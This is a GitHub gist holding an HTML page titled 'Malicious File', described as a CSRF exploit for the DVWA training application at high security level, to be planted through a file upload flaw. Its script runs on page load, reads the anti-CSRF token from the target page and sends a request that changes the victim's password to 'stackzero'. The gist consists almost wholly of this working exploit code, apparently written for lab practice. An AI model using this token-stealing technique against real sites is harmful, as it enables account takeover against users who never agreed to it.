Skip to content

Instantly share code, notes, and snippets.

@StackZeroSec
Created November 23, 2022 04:18
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save StackZeroSec/910573678fe24979304bd609e1b29072 to your computer and use it in GitHub Desktop.
Save StackZeroSec/910573678fe24979304bd609e1b29072 to your computer and use it in GitHub Desktop.
The CSRF exploit for DVWA with high level of security, it can be loaded thanks to the file upload vulnerability.
<!DOCTYPE html>
<html>
<head>
<meta charset='utf-8'>
<meta http-equiv='X-UA-Compatible' content='IE=edge'>
<title>Malicious File</title>
</head>
<body onload="change_password()">
<script>
function change_password(){
const request = new XMLHttpRequest();
const url = "http://10.10.174.199/vulnerabilities/csrf/"
request.open("GET", url);
request.onreadystatechange = () => {
if (request.readyState === request.DONE && request.status === 200) {
var response = request.responseText;
var user_token = /[a-f0-9]{32}/g.exec(response)[0]
var payload = "http://10.10.174.199/vulnerabilities/csrf/?password_new=stackzero&password_conf=stackzero&Change=Change&user_token="+user_token;
var second_request = new XMLHttpRequest();
second_request.open("GET", payload);
second_request.send()
}
};
request.send()
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment